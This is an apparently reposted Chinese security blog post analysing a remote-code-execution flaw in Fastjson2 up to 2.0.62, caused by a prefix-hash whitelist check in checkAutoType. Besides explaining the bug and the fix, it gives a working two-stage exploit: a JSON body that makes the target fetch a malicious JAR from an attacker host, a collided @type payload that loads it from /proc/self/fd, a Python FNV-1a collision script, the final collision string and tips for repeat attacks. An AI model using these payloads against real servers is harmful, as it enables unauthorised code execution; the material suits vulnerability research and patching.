文章总结: 本文深入分析Fastjson2小于等于2.0.62版本RCE漏洞。漏洞源于checkAutoType仅凭FNV-1a前缀哈希匹配放行类加载而未校验真实字符串,致攻击者可借此碰撞绕过白名单。利用分两步:先缓存恶意JAR获取文件描述符,再构造碰撞@type触发加载器从fd路径执行恶意类。建议立即升级,实战需用唯一类名规避JVM缓存。 综合评分: 96 文章分类: 漏洞分析,WEB安全,漏洞POC,实战经验,代码审计
Fastjson2 RCE漏洞利用细节分析
原创
hyyrent hyyrent
0xSecurity
2026年7月28日 12:52 广东
在小说阅读器读本章
去阅读
影响版本
Fastjson <= 2.0.62
升级修复方案
官方已更新修复补丁,参考链接:
https://github.com/alibaba/fastjson2/pull/7695/changes
先看 GitHub:官方实际上在修什么?
截至 2026 年 7 月 28 日:
- GitHub Issue #7702 已经明确在讨论 fastjson2 的这类安全修复问题
- 该 Issue 里直接提到了
/pull/7695/changes
围绕 “autoType 类型名校验 + whitelist 验证增强” 这个方向补洞。
1)不再只信哈希,要补真实字符串校验
这一步是最关键的。
原来的危险点在于:
- 哈希一命中
- 就继续往下走
而修补思路就是:
- 哈希命中后
- 还要再核对当前类型名文本本身
- 不能只靠 hash 相等就当成白名单命中
2)开始拒绝带 :、! 这类明显不像类名的输入
jar:file:/.../proc/self/fd/...!...- URL / 协议型字符串
ObjectReaderProvider.checkAutoType 修复前的核心问题
修复前,这段逻辑的危险点不在于“用了哈希”,而在于:
它用“前缀哈希命中”来决定是否加载“完整
typeName”。
伪代码如下:
long hash = MAGIC_HASH_CODE;
for (int i = 0; i < typeNameLength; i++) {
char ch = typeName.charAt(i);
hash ^= ch;
hash *= MAGIC_PRIME; // 增量 FNV-1a(typeName[0..i])
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = loadClass(typeName); // 直接加载完整 typeName
}
}
这里有一个非常关键的语义错位:
acceptHashCodes匹配的是 某个前缀的哈希loadClass()加载的却是 完整的typeName
也就是说,程序实际做的是:
只要
typeName的某个前缀哈希看起来像白名单,就去加载整个typeName。
问题在于,哈希命中只说明:哈希值相等
并不说明:字符串本身相等
而修复前,这里并没有补上“前缀文本是否真的等于白名单类名”的校验。
为什么这会被碰撞利用
FNV-1a 是非密码学哈希,攻击者可以为一个可控前缀追加若干自由字符,构造出一个 chosen-prefix collision,让某个前缀哈希误命中白名单值,这意味着攻击者不需要伪造真实白名单类名,只需要让:
hash(typeName[0..i]) == acceptHashCode
成立即可。
一旦命中,程序就会直接:
loadClass(typeName)
注意,这里加载的是完整 typeName,不是那个命中的前缀。
为什么风险会升级成类加载问题
如果命中后只是“接受这个前缀”,问题还不会这么严重。真正危险的是,命中之后它直接拿整个输入字符串去 loadClass()。
因此,攻击者真正控制的目标不是“命中的那个前缀”,而是:
完整
typeName的解释结果。
修复前如果 :、/、! 这类字符没有被拦截,那么 typeName 就不一定是普通 Java 类名,还可能长成:
jar:http://.../proc/self/fd/...!...- 其他可被上下文类加载器特殊解释的形式
这样一来,整个问题就从“白名单判断缺陷”升级成了可利用的类加载入口。
第一阶段:缓存恶意 JAR
先发一个普通 JSON:
[{"jarUrl":"http://host:port/probe/xxx.jar"}]
目标会:
- 下载 JAR
- 打开文件
- 找到对应 fd
- 删除临时文件
第二阶段:用碰撞 @type 从 fd 里加载类
再发:
[{"@type":"a\u00ad\u004b\u00d3\u005b\u0076\u002c\u00ff\u00a5","fd":12}]
然后链子就接上了:
- 默认
JSON.parse(body)继续解析 @type命中碰撞- 程序误以为进入 accept 分支
- 上下文类加载器被调用
- 从
/proc/self/fd/12对应的 JAR 里取 class - 加载并执行 payload
如果 payload 构造函数里先执行命令、再主动抛异常,就会看到这种标记:
parseError=java.lang.RuntimeException:flag{fastjson2_http_fd_reproduction}
实战payload改成唯一类名
实战过程中,如果每次 payload 都命名:
poc.Payload
那么 JVM 很可能在第一次加载后就把它记住了。后面你即使换了新 JAR、新命令,只要类名不变,目标进程也可能继续复用旧类。
所以更稳的做法是:
每次 payload 都生成唯一类名。
比如:
poc.X0296
poc.X4621
poc.X8306
这样可以避免被 JVM 已加载类缓存干扰。
FNV碰撞脚本
#!/usr/bin/env python3
MAGIC=0xCBF29CE484222325
PRIME=0x100000001B3
MASK= (1<<64) -1
PRIME_INV=14886173955864302971 # modular inverse of PRIME mod 2^64
DEFAULT_TARGET=-6293031534589903644 # fastjson2 default accept hash target
deffwd(h, ch):
return ((h^ (ch&0xFFFF)) *PRIME) &MASK
defback(h, ch):
return ((h*PRIME_INV) &MASK) ^ (ch&0xFFFF)
deffnv_hash(s: str) ->int:
h=MAGIC
forchins:
ifch=='$':
ch='.'
h=fwd(h, ord(ch))
returnh
defto_signed(x):
returnxifx< (1<<63) elsex- (1<<64)
defprintable_json(prefix, suffix_bytes):
returnprefix+''.join(f'\\u{b:04x}'forbinsuffix_bytes)
deffind_collision(prefix: str, target: int=DEFAULT_TARGET):
target_u=target&MASK
h0=fnv_hash(prefix)
forprependinrange(1, 256):
hp=fwd(h0, prepend)
# forward 3-byte table
table= {}
forc1inrange(1, 256):
h1=fwd(hp, c1)
forc2inrange(1, 256):
h2=fwd(h1, c2)
forc3inrange(1, 256):
h3=fwd(h2, c3)
table[h3] = (c1, c2, c3)
# backward 4-byte search
forc7inrange(1, 256):
h6=back(target_u, c7)
forc6inrange(1, 256):
h5=back(h6, c6)
forc5inrange(1, 256):
h4=back(h5, c5)
forc4inrange(1, 256):
h3=back(h4, c4)
ifh3intable:
c1, c2, c3=table[h3]
result= [prepend, c1, c2, c3, c4, c5, c6, c7]
# verify
h=h0
forbinresult:
h=fwd(h, b)
ifh==target_u:
returnresult
returnNone
if__name__=="__main__":
prefix="a"
result=find_collision(prefix, DEFAULT_TARGET)
ifnotresult:
print("not found")
else:
print("bytes:", result)
print("type_json:", printable_json(prefix, result))
最终打进去的碰撞串
碰撞理想情况下耗时1小时,这个不唯一也可以用其他碰撞出的值
a\u00ad\u004b\u00d3\u005b\u0076\u002c\u00ff\u00a5
参考链接
https://github.com/alibaba/fastjson2/pull/7695/changes
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:0xSecurity hyyrent hyyrent《Fastjson2 RCE漏洞利用细节分析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论